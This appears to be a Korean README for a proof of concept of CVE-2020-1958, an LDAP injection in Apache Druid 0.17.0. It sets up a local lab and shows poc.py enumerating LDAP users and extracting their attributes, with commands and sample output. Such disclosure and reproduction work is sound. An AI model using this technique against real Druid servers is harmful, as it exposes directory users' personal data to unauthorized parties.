
CVE-2020-1958 PoC
CVE-2020-1958는 Apache Druid 0.17.0에서 발견된 심각도가 높은 LDAP 인젝션 취약점입니다. 이를 통해 공격자는 LDAP 검색 필터를 우회하고 LDAP 서버에 존재하는 사용자의 모든 LDAP 속성 값을 검색할 수 있습니다.
공식 Apache Druid 권고에 따르면:
LDAP 인증이 활성화된 경우:
- 유효한 LDAP 자격 증명을 가진 Druid API 호출자는 유효한 LDAP 사용자가 Druid에 인증할 수 있는지 결정하는
credentialsValidator.userSearch필터 장벽을 우회할 수 있습니다. 설정된 경우에도 역할 기반 권한 부여 확인의 대상이 됩니다.- Druid API 호출자는 해당 정보가 Druid 서버에 표시되는 한 LDAP 서버에 존재하는 사용자의 모든 LDAP 속성 값을 검색할 수 있습니다. 이 정보 공개는 호출자 자체가 유효한 LDAP 사용자일 필요가 없습니다.
poc.py 스크립트는 권한이 없는 공격자가 Druid와 통합된 LDAP 서버에서 사용자를 열거하고 모든 사용자의 모든 속성 값을 가져올 수 있는 방법을 보여줍니다.
LDAP 인증이 활성화된 Druid 서버가 이미 있다면 이 단계를 건너뛰세요.
Druid 0.17.0을 다운로드하고 압축을 풉니다.
$ wget https://archive.apache.org/dist/druid/0.17.0/apache-druid-0.17.0-bin.tar.gz
$ tar -zxf apache-druid-0.17.0-bin.tar.gz
conf/druid/single-server/nano-quickstart/_common/common.runtime.properties에서 LDAP 인증을 활성화 및 구성합니다.
druid-basic-security 확장 활성화
druid.extensions.loadList를 찾아 druid-basic-security를 추가합니다:
druid.extensions.loadList=["druid-hdfs-storage", "druid-kafka-indexing-service", "druid-datasketches", "druid-basic-security"]
LDAP 인증 구성
파일 끝에 다음을 추가합니다:
druid.auth.authenticatorChain=["ldap"]
druid.auth.authenticator.ldap.type=basic
druid.auth.authenticator.ldap.initialAdminPassword=password
druid.auth.authenticator.ldap.initialInternalClientPassword=password
druid.auth.authenticator.ldap.credentialsValidator.type=ldap
druid.auth.authenticator.ldap.credentialsValidator.url=ldap://127.0.0.1:2389
druid.auth.authenticator.ldap.credentialsValidator.bindUser=cn=admin,dc=example,dc=org
druid.auth.authenticator.ldap.credentialsValidator.bindPassword=admin
druid.auth.authenticator.ldap.credentialsValidator.baseDn=dc=example,dc=org
druid.auth.authenticator.ldap.credentialsValidator.userSearch=(&(uid=%s)(memberof=cn=users,dc=example,dc=org))
druid.auth.authenticator.ldap.credentialsValidator.userAttribute=uid
druid.auth.authenticator.ldap.authorizerName=MyAuthorizer
druid.escalator.type=basic
druid.escalator.internalClientUsername=user1
druid.escalator.internalClientPassword=user1
druid.escalator.authorizerName=MyAuthorizer
druid.auth.authorizers=["MyAuthorizer"]
druid.auth.authorizer.MyAuthorizer.type=basic
druid.auth.authorizer.MyAuthorizer.initialAdminUser=user1
druid.auth.authorizer.MyAuthorizer.initialAdminRole=admin
druid.auth.authorizer.MyAuthorizer.roleProvider.type=ldap
OpenLDAP 서버 실행
$ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
users.ldif에서 LDAP으로 사용자 가져오기
$ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
Druid 서버 실행
$ bin/start-nano-quickstart
$ ./poc.py --url http://127.0.0.1:8888/
[INFO] Enumerating users from http://127.0.0.1:8888/
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4
admin1 사용자의 LDAP 속성 값 검색$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8888/
[email protected]
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8888/
admin1
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8888/
last